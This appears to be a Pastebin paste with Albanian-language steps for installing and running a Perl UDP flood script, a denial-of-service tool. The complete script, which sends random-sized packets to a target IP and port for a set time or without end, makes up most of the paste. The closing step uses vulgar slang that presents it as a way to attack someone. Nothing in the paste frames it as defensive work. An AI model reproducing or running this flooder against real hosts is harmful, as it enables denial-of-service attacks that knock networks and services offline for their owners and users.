Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. 1.sudo apt-get install perl
  2. ose
  3. sudo yum install perl
  4.  
  5. 2.sudo nano /usr/sbin/udpflood.pl
  6.  
  7. 3. ja qet qeto:
  8.  
  9. #!/usr/bin/perl
  10.  
  11. ##############
  12. # udp flood.
  13. ##############
  14.  
  15. use Socket;
  16. use strict;
  17.  
  18. if ($#ARGV != 3) {
  19. print "flood.pl <ip> <port> <size> <time>\n\n";
  20. print " port=0: use random ports\n";
  21. print " size=0: use random size between 64 and 1024\n";
  22. print " time=0: continuous flood\n";
  23. exit(1);
  24. }
  25.  
  26. my ($ip,$port,$size,$time) = @ARGV;
  27.  
  28. my ($iaddr,$endtime,$psize,$pport);
  29.  
  30. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  31. $endtime = time() + ($time ? $time : 1000000);
  32.  
  33. socket(flood, PF_INET, SOCK_DGRAM, 17);
  34.  
  35. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  36. ($size ? "$size-byte" : "random size") . " packets" .
  37. ($time ? " for $time seconds" : "") . "\n";
  38. print "Break with Ctrl-C\n" unless $time;
  39.  
  40. for (;time() <= $endtime;) {
  41. $psize = $size ? $size : int(rand(1024-64)+64) ;
  42. $pport = $port ? $port : int(rand(65500))+1;
  43.  
  44. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  45.  
  46. 4. sudo chmod 700 /usr/sbin/udpflood.pl
  47.  
  48. 6. masi ti dalin krejt ja bon ctrl + x + y = enter a pe din kimmy: e trus ctrl X
  49. tani e prek shkronjen Y
  50. edhe enter
  51.  
  52.  
  53. 5. jav qin nanen me : sudo udpflood.pl <IP-ija> <PORTA> <KOHA>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement